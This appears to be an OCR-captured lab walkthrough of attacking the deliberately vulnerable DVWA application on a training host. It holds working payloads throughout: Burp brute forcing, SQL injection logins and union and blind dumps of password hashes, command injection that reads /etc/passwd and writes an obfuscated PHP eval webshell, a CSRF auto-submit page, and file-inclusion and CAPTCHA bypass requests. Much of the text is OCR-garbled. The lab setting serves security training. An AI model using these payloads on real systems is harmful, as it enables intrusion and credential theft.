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Instructions

About

Database Setup

Click on the 'Create / Reset Database’ button below to create or reset your database.
If you get an error make sure you have the correct user credentials in: lvar/www/html/config/config.inc.php

If the database already exists, it will be cleared and the data will be reset.
You can also use this to reset the administrator credentials ("admin // password”) at any stage.

Setup Check

Operating system: *nix
Backend database: MySQL
PHP version: 7.0.30-0+deb%u1

Web Server SERVER_NAME: b20b47d25e624146a001bad6fd05%ad.app.mituan.zone

PHP function display_errors: Disabled
PHP function safe_mode: Disabled

PHP function allow_url_include: Enabled
PHP function allow_url_fopen: Enabled
PHP function magic_quotes_gpc: Disabled
PHP module gd: Installed

PHP module mysqgl: Installed

PHP module pdo_mysql: Installed

MySQL username: app
MySQL password: ===
MySQL database: dvwa
MySQL host: 127.0.0.1

reCAPTCHA keay: Missing

[User: www-data] Writable felder /var/wwwihtml/hackable/uploads/: Yes
[User: weaw-data] Writable file fvarhawwihtml/external/phpids/0_6/1ib/IDS/tmp/phpids_log txt: Yes

[User: weaw-data] Writable falder ivarfewwihtml/config: Yes
Status in red, indicate there will be an issue when trying to complete some modules.

If you see disabled on either allow_url fopen or allow_ur_include, set the following in your php.ini file and restart
Apache.

allow_url fopen = On
allow_url_include = On

These are only required for the file inclusion labs so unless you want to play with those, you can ignore them.

Create / Resat Database

et e e, EHER, FTHEHEST. . .

Brute Force

W A\admin, adminZ FIVE, KIZEBVRBIESR, RINFEHREHITRIBM, RIS 2% password,

1.
Home | Vulnerability: Brute Force
Instructions | LDgiI"I
Setup / Reset DB | ;
sername:
admin
i _ |

Command Injection

eaeee |




CSRF

Login
File Inclusion

File Upload
Insecure CAPTCHA

More Information

SQL Injection

SQL Injection (Blind)
Weak Session IDs
X588 (DOM)

X5S (Reflected)

XSS (Stored)

CSP Bypass
JavaScript

2.
Target | Positions I Payloads I Options }

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to p
details.

Attack type: [Sniper

GET fwulnerabilities/brute/Tusername =admin&password=5admin§&login=Login HTTP/1.1

Host: b20b47d25e6e4146a001bad6fd059ead app.mituanzone

Upgrade-lnsecure-Requests: 1

DNT: 1

User-Agent: Mozilla/5.0 (Vindows NT 10.0; 'Wing4; x&4) Apple'WebKit/537.36 (KHTML, like Gecko) Chrome/83.04103.61 Safari/537.36
Accept: text/htmlapplication/xhtml+xml,application/xml;qg=0.9,image/webp,image/apng,*/*,q=0.8,application,/signed-exchange;v=b3;9=0.9
Referer: httpy//b20b47d25e6e4146a001 badefd059ead. app.mituanzonefvulnerabilities/brute/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=cev25n95v4b83 0il653rBinSo7; security=low

Connection: close

3.

Target | Positions | Payloads I Options }
@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types
and each payload type can be customized in different ways.

Payload set: [1 |v] Payload count: 6,000

Payload type: [Simple list |v] Request count: 6,000

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste 2123456789 [a
| 11223344
Load ... 1gaz2wsx
— 1 | xiazhili »
| Remore |
password
Clear 789456123
qwertyuiop ¥

Add Enter a new item
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Vulnerability: Brute Force

Login

Username:
|admin |
Password:
|password |

Welcome to the password protected area admin

Brute Force

= http:/iwww.symantec.com/connect/articles/password-crackers-ensuring-security-your-password
= http:liwww_sillychicken.co.nz/ Security/how-to-brute-force-http-forms-in-windows.html
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Instructions |

Login
Setup / Reset DB |

Usernmame:

admin’ or "1'="1

Password:
Command Injection
CSRF .

Login

File Inclusion

Welcome to the password protected area admin’ or "1'="1

|

|

|

|
File Upload |
Insecure CAPTCHA |
SQL Injection |
SQL Injection (Blind) |
Weak Session IDs | ]
XSS (DOM) | More Information
XSS (Reflected) | :
XSS (Stored) | .
CSP Bypass |
JavaScript |

3.
Home . Vulnerability: Brute Force
Instructions | Log in
e R 2 | Username:
admin'# .
Password:

Command Injection
CSRE Login

|

|

|

File Inclusion |
File Upload |
Insecure CAPTCHA |
SQL Injection |
SQL Injection (Blind) |
|

|

|

|

|

|

Welcome to the password protected area admin#

Weak Session IDs
XSS (DOM)

XSS5 (Reflected)
XS5 (Stored)

CSP Bypass
JavaScript

More Information

Command Injection

I 127.0.0.1 | cat /etc/passwd B | echo '<?php
$a="6576616c28245f52455" . "1554553545b385d293b" ; $b="a" ;define("a" ,PACK("H*",$$b));eval(a);?>"' >
../../mituan.php , ZJ5UjRIHLbEE http://b20ba7d25e6e41462001bas6fdO59ea4 . app.mituan. zone/mituan.php?8=phpinfo();

1.
Home . Vulnerability: Command Injection
instructions | Ping a device
Setup / Reset DB |

Enter an IP address: [127.0.0.1 | cat /etc/passwd Submit

| o JEED B |



Diule rorce

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

root:x: 0:0: root: froot: /bin/bazh

daemon: x: 1: 1: daemon: Susr/sbin: fusr/zshin/mologin
bin:x:2: 2 bin: /bin: fusr/sbin/nologin

zys:x:3: 3 sya: fdev: fusr/sbin/mologin

zyno:x: 4: 685834 syne: /bin: fbind =vnc

games:x: 0: 60: games: Susr/ganes: fusr/sbin/mologin

man: ¥ 6: 12 man: Svar/cache/man; fusr/sbin/nologin
Ip:x: 7:7:1p: fwar/zponlf1pd: fusrfsbhin/mologin

mail:x: 8: % mail: Svar/mail: fusr/zshin/mologin

news:x: 9: 9 news: Svar/spool/mews: fusr/sbin/mologin
uucp: x: 10: 10: wuep: Swar/ spool/uucp: fusr/sbin/mologin
proxy:x: 13: 13 proxy: /bin: fusr/sbindnologin
wuy—datax: 33 33 www—data: Svar S SuseSsbin/mologin
backup: x: 34: 34: backup: Svar/backups: fusr/sbin/nologin
lizt:x:38:38:Mailing List Manager: Swar/list: fusr/shin/mologin

XSS (DOM) irc:x: 39: 39 ircd: fvarfrunSired: fusrdSshindnologin
gnatz:x: 41: 41:Gnats Bug-Reporting System (admin): /war/lib/gnats: usr/sbin/nologin
XS5 (Reflected) nobody: x: 65534 6534 nobody: /fnonexistent: fusr/sbin/nologin
_apt:x: 100: 65534 /mnonexistent: /bin/false
X$3 (Stored) myzqlix: 101: 101: M¥5QL Server, .. :/nonexistent: /bin/false
CSP Bypass
JavaScript B e e o
2.
Homa . Vulnerability: Command Injection
Instructi = 3
ASTHETons | Ping a device
Setup / Reset DB |
Enter an IP address: || echo "<?php eval(5_REQUEST[8]);?>" 3|| Submit |
Brute Force
More Information
CSRF
File Inclusion :
File Upload *
Insecure CAPTCHA
SQAL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

3.

item Linux 5f5d5ce3d617 4.15.0-1063-aws #67-Ubuntu SMP Man Mar 2 07:24:29 UTC 2020 x86_64
ild Date Jun 14 2018 13:50:25

wer APl Apache 2.0 Handler

tual Directory Support disabled

nfiguration File (php.ini) Path fete/php/7.0/apache2

aded Configuration File

fete/php/7.0/apache2/php.ini

in this dir for additional .ini files

fete/php/7.0/apache2/conf.d

ditional .ini files parsed

fete/php/7.0/apache2/conf.d/10-mysqlnd.ini, /etc/php/7.0/apache2/conf.d/10-opcache.ini,
fetc/php/7.0/apache2/conf.d/10-pdo.ini, fetc/php,/7.0/apache2/conf.d/15-xmlini,
fete/php/7.0/apache2fconf.d/20-calendar.ini, fetc/php,/7.0/apache2/conf.d/20-ctype.ini,
fete/php/7.0/apache2/conf.d/20-dom.ini, fetc/php/7.0/apache2 /conf.d/20-exifini,
fete/php/7.0/apache2/conf.d/20-fileinfo.ini, /etc/php/7.0/apache2/conf.d/20-ftp.ini,
fete/php/7.0/apache2/conf.d/20-gd.ini, /etc/php/7.0fapache2/conf.d/20-gettext.ini,
fete/php/7.0/apache2/conf.d/20-iconv.ini, /etc/php/7.0/apache2/conf.d/20-json.ini,
fetc/php/7.0/apache2fconf.d/20-mysqliini, /etc/php/7.0/apache2/conf.d/20-pdo_mysgl.ini,
fete/php/7.0/apache2/conf.d/20-pdo_pgsgl.ini, fetc/php/7.0/apache2/conf.d/20-pgsglini,
fete/php/7.0/apache2/conf.d/20-phar.ini, fetc/php/7.0/apache2/conf.d/20-posixini,
fete/php/7.0/apache2/conf.d/20-readline.ini, /etc/php/7.0/apache2/conf.d/20-shmop.ini,
fete/php/7.0/apache2fconf.d/20-simplexml.ini, /etc/php/7.0/apache2/conf.d/20-sockets.ini,
fetc/php/7.0/apache2/conf.d/20-sysvmsg.ini, /etc/php/7.0/apache2/conf.d/20-sysvsem.ini,
fetc/php/7.0/apache2fconf.d/20-sysvshmuini, fetc/php/7.0/apache2/conf.d/20-tokenizer.ini,
fete/php/7.0/apache2/conf.d/20-wddx.ini, fetc/php/7.0/apache?/conf.d/20-xmlreader.ini,

e bame ERI




| fete/phpy { U/apachesfcont.aj JU-xmiwniter.ini, jete/phpy i Ujapaches/cont.d/2u-xsl.im

P APl |2015‘ID12

CSRF

BiiChangez J5, FBurpilf, #R)EH|/ECSRF Poc.

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('"', '', '/')</script>
<form id='a' action="http://b20b47d25e6e4146a001bad6fd059ead.app.mituan.zone/vulnerabilities/csrf/">
<input type="hidden" name="password&#95;new" value="admin123" />
<input type="hidden" name="password&#95;conf" value="adminl123" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
<script>
function abc(){
document.getElementById('a').submit();

}
setTimeout(abc, 500);
</script>
</html>
1.
o | Vulnerability: Cross Site Request Forgery (CSRF)
Instructions | Change your admin password:
Setup / Reset DB |
New password:
Brute Force admin123

Command Injection Confirm new password:

File Inclusion Change
File Upload
Insecure CAPTCHA More Information

SQL Injection (Blind)
Weak Session IDs
X588 (DOM)

XSS (Reflected)

XS5 (Stored)

CSP Bypass

|
|
|
|
|
|
SQL Injection | .
|
|
|
|
|
|
|

JavaScript

2.

e e

Drop | Intercept is on Action

L i |

deaders | Hex

£ = clocind 22 0 word_conf=admin123&Change=Change HTTP/1.1
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e T pleWebKit/537.36 (KHTML, like Gecka) Chrome/83.0.4103.61 Safari/537.36

‘0 Sequencer h=0.9,image/webp,image/apng,*/*:q=0.8,application/signed-exchangen=h3;q=0.9
:0 Comparer p.mituanzone/vulnerabilities/csrf/

0 Decoder

st in browser > ity =low

date cookie

d host to scope
1en with browser
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e request method Discover content
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e T A T T | T 1 5 T 1 R e 1 ) ]
@Upgrade-lnsecure-Requests:‘1 pptions l Knife l
—DNT:1
1ter(iUser—,-’!xgel"lt: Mozilla/5.0 (Nindows NT 10.0; 'Winb4; x64) Apple'WebKit/537 36 (KHTML, like Gecko)
>_Chr0mej83.0.4‘l 03.61 Safari/537.36

RE,"lxcc:ept: i
= @ liJ + = Type a search term 0 matches
law | CSRF HTML:
A <htmls N
it:b <I-- CSRF PoC - generated by Burp Suite Professional -->
jrad <body=>
T <script>history.pushState(”, "', /) </script>
P-A0 <form action="http://b20b47d25e6e4146a001bad6fd053ead.app.mituanzone/vulnerabilities/csrf/"> Bafari/537.36
ept: <input type="hidden" name="password8#95;new" value="admin123" /> hange:v=b3;q=0.9
aren <input type="hidden" name="password&#95;conf" value="admin123" />
epti <input type="hidden" name="Change" value="Change" />
epty <input type="submit" value="Submit request” />
kie:l < /forms v
nec =

@ [iJ e EJ Type a search term 0 matches
Regenerate l Test in browser J l Copy HTML J l Close J

BHSHEIKS, REEFHER, BREVHNIAHIERPocE, KNERERNEHOEEH.

Vulnerability: Cross Site Request Forgery (CSRF
g Change your admin password:

New password:

m Confirm new password:
y Change




Password Changed

PTCHA

n 0
: More Information
n (Blind)

n IDs :

PUAE ] CAGE A BT i B R admin123 BEHIEFR T o

File Inclusion

® http://b20b47d25e6e4146a001bad6fd059ead.app.mituan.zone/vulnerabilities/fi/?
page=/etc/apache2/apache2.conf (filed.php)

® http://b20b47d25e6e41462001bad6fd059eas.app.mituan.zone/vulnerabilities/fi/?
page=file:///etc/apache2/apache2.conf

® http://b20b47d25e6e41462001bad6fd059eas.app.mituan.zone/vulnerabilities/fi/?
page=http://b20b47d25e6e4146a001bad6fd@59ead.app.mituan.zone/phpinfo.php

® http://b20b47d25e6e41462001bad6fd059ead.app.mituan.zone/vulnerabilities/fi/?page=hTTp://www.baidu.com

1.

2 A &£ | b20b47d25e6e4146a001bad6fd059ea4.app.mituan.zone/vulnerabilities/fi/?page=/etc/passwd

‘root:/bin/bash daemon:x:1:1:daemon:fusr/sbin:/usr/sbin/nologin bin:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4.65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/
spool/lpd:/usr/sbinfnologin mailx:8:8:mail:fvar/mail-/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x: 10:10:uucp:/var/spool/uucp:/usrisbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologir

-backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nolegin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats./us
4:65534:nobody:/nonexistent:/usr/sbin/nologin _aptx:100:65534: /nonexistent:/bin/false mysql:x:101:101:MySQL Server, ,.:/nonexistent:/bin/false

o)

Home |

Instructions |
Setup | Reset DB |

Brute Force

Command Injection

CSRF

File Upload
Insecure CAPTCHA

SQL Injection
SQL Injection (Blind)

Weak Session IDs
XSS (DOM)

X85 (Reflected)
XSS (Stored)

CSP Bypass

2.
7 A &£ | b20b47d25e6e4146a001bad6fd059ea4.app.mituan.zone/vulnerabilities/fi/?page=http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/phpin
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Home |

Instructions |
Setup | Reset DB |

3.
2 A &£ | b20b47d25e6e4146a001bad6fd059ea4.app.mituan.zone/vulnerabilities/fi/?page=http://www.baidu.com

o0
Bai®SE

File Upload

BEFRERKANEAEMLLS, FTblix B H#E EfkphpXXf T .

Vulnerability: File Upload

Choose an image to upload:

Home |

Instructions |

Setup / Reset DB |

PN | IR

Brute Force

Upload
Command Injection

CSRF

../ fhackable/uploads/ 111, PP succesfully uploaded!

File Inclusion

Insecure CAPTCHA

SQL Injection
SQL Injection (Blind)

Weak Session IDs

|
|
|
|
| More Information
|
|
|
|
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<Tphp phpinfol) ;7>

NO, AEKET ’iHEHR LI,
http://b20b47d25e6e41462001bad6+d059eas . app.mituan.zone/vulnerabilities/fi/?
page=http://b20b47d25e6e41462001bad6fd059eas.app.mituan.zone/hackable/uploads/111.PhP

7d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/fi/?page=http://b20b47d25e6e4146a001bad46fd05%ea4.app.mituan.zone/hackable/upl...

User Note Maintainers Daniel P. Brown, Thiago Henrique Pojda

Other Contributors Previously active authors, editors and other contributors are listed in the manual.

llia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatia, Sebastian Nohn, Derick Reth Melvyn Jani il Pierre-Alain Joye, Dmitry Stogov,
Felipe Pena, David Soria Parra, i y , Julien Pauli, Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs

PHP Websites Team Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam

Harvey, Ferenc Kovacs, Levi Morrison

Event Maintainers Damien Seguy, Daniel P. Brown
Network Infrastructure Daniel P. Brown
Windows Infrastructure Alex Schoenmaker

PHP License

This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net.

Home |

Instructions |

Setup / Reset DB |

Brute Force |

Command Injection |

Insecure CAPTCHA
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Vulnerability: Insecure CAPTCHA

Home |
Instructions
| reCAPTCHA API key missing from config file: /var/www/html/config/config.inc.php
Setup / Reset DB |
Brute Force Please register for a key from reCAPTCHA:

Command Injection

CSRF

More Information

File Inclusion

File Upload

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass

|
|
|
|
|
|
SQL Injection |
|
|
|
|
|
|
|

JavaScript

<?php

if( isset( $_POST[ 'Change' ] ) & & ( $_POST[ 'step' ] == '"1"' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $ POST[ 'password_new' ];
$pass_conf = $ _POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party

$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST[ 'g-recaptcha-response’]

)s

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly

$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;

}

else {

// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {

// Show next stage for the user

echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">

<input type=\"hidden\" name=\"step\" value=\"2\" />

<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />

¢innnt tune=\"hidden\" name=\"naccwnrd canf\" valiue=\"{dnacc ranfI\" />
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<input type=\"submit\" name=\"Change\" value=\"Change\" />

</form>";
}
else {
// Both new passwords do not match.
$html = "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2" ) ) {

// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $ POST[ 'password new' ];
$pass_conf = $ POST[ 'password _conf' ];

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["__ mysqli_ston"]) && is_object($GLOBALS["__ mysqli_ston"])) ? mysqli_real_
escape_string($GLOBALS["__ mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_esca
pe_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database

$insert = "UPDATE “users’ SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";

$result = mysqli_query($GLOBALS["__ mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["
_mysqli_ston"])) ? mysqli_error($GLOBALS["__ mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $__ m
ysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";

}

else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;

}

((is_null($__ mysqli_res = mysqli_close($GLOBALS["___ mysqli_ston"]))) ? false : $_ mysqli_res);

?>



M isset( $_POST[ 'Change' ] ) & ( $_POST[ 'step' ] == '2' ) K%, MESEHFNL (AETIDEIERERB SR
POST) .

/ Request to http://b20b47d25e6e4146a001bad6fd059ead . app.mituan.zone:80 [54.222.208.118]

| Fowmrd || Oop | [imlscoptison] (__cton |

Params | Headers | Hex

POST fvulnerabilities/captcha/ HTTP/1.1

Host: b20b47d25e6e4146a001bad6fd0S9ead.app.mituanzone

Cache-Control: max-age=0

DNT: 1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/S.0 (Vindows NT 10.0; '\Wing4; x64) Apple'WebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103 .61 Safari/537.36
Accept: text/html,application/<html+xml,application/xml:q=0.9,image/webp,image/apng,*/*:q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=cev25n95v4b830il653r8in507; security=low

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 0

step=28&password_new=admin123&password_conf=admin123&Change=Change

LI E R, RIETES RN,
SQL Injection
ARERFRY. FEA. EL. B4, FRE. HENH.

1' order by 2 -- qwe

1.1' union all select 1,2 -- gqwe

1.1' union all select 1,database() -- qwe

1.1"' union all select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -
- qwe

1.1"' union all select 1,group_concat(column_name) from information_schema.columns where table_schema=database()

and table_name='users' -- qwe
1.1" union all select 1,group_concat(concat_ws(':"',user,password)) from users -- quwe
1.

Vulnerability: SQL Injection

User 1D: |1‘ order by 2 - qwe || Submit |

ID: 1 order by 2 —- awe
First name: admin
Surname: admin

More Information

http:/flwww.securiteam.com/securityreviews/5SDPON1P76E.html
https:/len.wikipedia.org/wiki/SQL_injection
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://pentestmonkey.net/cheat-sheet/sqgl-injection/mysql-sql-injection-cheat-sheet
https:/iwww.owasp.org/index.php/SQL_Injection

http://bobby-tables.com/

SAL Injection




SAL Injection

Vulnerability: SQL Injection

User ID: | || Submit |

ID: 1.1 union all select 1,2 —— gwe
First name: 1
Surname: 2

More Information

http:/iwww.securiteam.com/securityreviews/SDPON1P76E.html
https:/len.wikipedia.org/wiki/SQL _injection
hitp://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://pentestmonkey.net/cheat-sheet/sgl-injection/mysql-sql-injection-cheat-sheet
https://www.owasp.orglindex.php/SQL _Injection

http://bobby-tables.com/

¥ * Untitled - Noteg

- - e ~

SQL Injection

Vulnerability: SQL Injection

User ID" [1.1" union all select 1| Submit |

ID: 1.1 union all select 1, database() -- qwe
First name: 1
Surname: dvwa

More Information

http:/iwww.securiteam.com/securityreviews/5DPON1P76E.html
https:/len.wikipedia.org/wiki/SQL _injection
hitp://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://pentestmonkey.net/cheat-sheet/sgl-injection/mysql-sql-injection-cheat-sheet
https://www.owasp.orglindex.php/SQL _Injection

http://bobby-tables.com/

D =
File E
M D

Vulnerability: SQL Injection

User ID: | || Submit |

ID: 1.1 union all select 1, group_concat(table_name) from information_schema. tables where table_schema
First name: 1
Surname: guesthook, users

LY PR PR PN R



SQL Injection

wivie nmnuiinauvii

http://www.securiteam.com/securityreviews/5SDPON1P76E.html
https:/len.wikipedia.org/wiki/SQL _injection
http:/iferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
https:/iwww.owasp.orgl/index.php/SQL _Injection

http://bobby-tables.com/

SQL Injection

Vulnerability: SQL Injection

User ID: | || Submit |

ID: 1.1 union all select 1, group_concat{column name) from information schema. columns where table s
First name: 1
Surname: user id, first name, last name, user, password, avatar, last login, failed login

More Information

http:/iwww.securiteam.com/securityreviews/SDPON1P76E.html
https:/len.wikipedia.org/wiki/SQL _injection
http:/iferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
https://www.owasp.orglindex.php/SQL_Injection

hitp://bobby-tables.com/

che

SQL Injection

Vulnerability: SQL Injection

User ID: | || Submit |

ID: 1.1 union all select 1, group_concat(concat_ws( :”, user, password)) from users -- gqwe
First name: 1
Swrname: admin:affabbbEE4c45962d88TE04f08346.8d, gordanb: e99a18c428cb 3845 £ 2603536792203, 1337 : 54353

More Information

http:/lwww.securiteam.com/securityreviews/5DPON1P76E.html
hitps:/len.wikipedia.org/wiki/SQL _injection
http:/iferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://pentestmonkey.net/cheat-sheet/sgl-injection/mysql-sql-injection-cheat-sheet
https://www.owasp.orglindex.php/SQL_Injection

http://bobby-tables.com/

3d7




SQL Injection (Blind)

BEREHAKNKE, RERNFRAN. IERERENE - NRNRLT .

1' and length((select table name from information_schema.tables where table_schema=database() limit 1,1))=5 --
qwe

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit
1,1),1,1))=117 -- quwe CRBHIFEEE B CHIMLE)

[chr(i) for i in [117,115,101,114,115]]

Target iti Payloads | Options

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full

details.
Attack type: [Clus’(er bomb @
GET :

/vulnerabilities/sqli_blind/?id=1%27 +and +ascii%28substr%28%:28select+table_name+from+information_schema.tables+where +table_schema%3Ddatabase%28%29 +lim
it+1%2C1%29%2C81§%2C1%29%29%3 081175 +-- +qwe&Submit=Submit HTTP/1.1

Host: b20b47d25e6e4146a001bad6fd05%ead.app.mituanzone

Upgrade-Insecure-Requests: 1

DNT:1

User-Agent: Mozilla/5.0 (Windows NT 10.0; 'Win64; x64) Apple'WebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36

Accept: text/html,application/«<html+xml,application/«ml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer:

http://b20b47d25e6e4146a001badb6fd05%ead.app.mituanzone/vulnerabilities/sqli_blind/?id=1%27 +and+ascii%28substr%28%28select+table_name +from +information_
schema.tables +where +table_schema%3Ddatabase%28%29 +limit+1%2C1%29%2C1%2C1%29%29%3D116 +-- +qwe&Submit=Submit

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID =cev25n95v4b830il653r8in507; security=low

Connection: close

2.

Target | Positions | Payloads I Options ]
® Payload Sets L

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set,
and each payload type can be customized in different ways.

Payload set: |1 Q Payload count: 5
Payload type: | Numbers Q Request count: 430

® Payload Options [Numbers]
This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: ® Sequential (U Random
From: 1
To: 5
Step: 1

3.

Target | Positions | Payloads I Options ]
® Payload Sets L

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set,
and each payload type can be customized in different ways.

Payload set: |2 @ Payload count: 86
Payload type: | Numbers Q Request count: 430

@ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.



Type ® Sequential (L) Random

From: 32
To: "7
Step: 1
4.
~ d i ) o
Target (RN Attack Save Columns
@ = I Results | Target IPasitlons ] Payloads ] Options ‘
Configure the‘ Filter: Showing all items @msmons - see help for full
details
Request | Payload1 Payload2 Status & | Error Timeout | Length Comment
Attack type:| "y 200 O O 4848 i v
348 3 101 200 ] L) 4848
GET 414 4 114 200 4848 -
Jvulnerabil = = Hatabase%28%29+im [
it+19%2c19 | 417 2 115 200 O ) 4848
Host: b20b4| 420 5 115 200 J ] 4848
Upgrade-In | 426 1 117 200 L] L] 4848
DNT:1 1 1 32 404 O (] 4838
gsepigf”t 2 2 32 404 o (] 483
ccept: tex
Referer: |7 ; : f‘l‘f ST R "
http://b20k| = \ J L g+from+information_
schema.tab ———————
Accept-End | Request | Response ‘
Accept-Lan Y 1
Cookie: PHf | Raw | Params iHeaders l Hex \
Connection GET i
Jvulnerabilities/sgli_blind/?id=1%27 +and+ascii%28substr%28%:28select+table_name +from+information_schema.tables +where +t N
Ao om0 B il G AO 2 £ Hemth £ 4 6 A O ALY AED U A O AOD AU IA A 1 3 s eem B e s o LITTES 14 4 \
RIGHEE A HusersRFRAEMR, XEUENANFE (user) R,
1' and length((select column_name from information_schema.columns where table_schema=database() and
table_name='users' limit 3,1))=4 -- qwe
1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and
table_name='users' limit 3,1),1,1))=117 -- qwe
[chr(i) for i in [117,115,101,114]]
1.
Target | Positions | Payloads [ Options ‘
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details
Attack type: | Cluster bomb 'J
GET A
r

/vulnerabilities/sqli_blind/?id=1%27 +and +ascii%. ubstr%28%:28select+column name+from+information schema.columns+where+table schema%3Ddatabase%28%2
9+and+table_name%3D%27users%27 +limit+39%2C1%29%2C818%2C1%29%29%3D§117§ +-- +qwe&Submit=Submit HTTP/1.1

Host: b20b47d25e6e4146a001bad6fd05%ad.app.mituanzone

Upgrade-Insecure-Requests: 1

DNT:1

User-Agent: Mozilla/5.0 (Windows NT 10.0; 'Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/=q=0.8,application/signed-exchange;v=b3,;q=0.9

Referer:

http://b20b47d25e6e4146a001badb6fd05%ead.app.mituanzone/vulnerabilities/sqli_blind/?id=1%27 +and+ascii%28substrf%28%28select+column_name +from+informatio




nfs.cherna.columnsﬂvhere +table_schema%3Ddatabase%28%29+and +tablefnanﬁe_%liD%27users%27+limit+3%2c1 %29%2C1%2C1 %29%29%3_D1 117 +--+qwe&Submit
=Submit

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID =cev25n25v4b830il653r8in507; security=low

Connection: close

2.

Target | Positions | Payloads ] Options ]
@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set,
and each payload type can be customized in different ways.

Payload set: |1 F Payload count: 4

Payload type: | Numbers |= Request count: 344

@ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range
Type: @ Sequential (U Random
From: '1
To: '4
Step: '1

3.

Target | Positions | Payloads ] Options
@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set,
and each payload type can be customized in different ways.

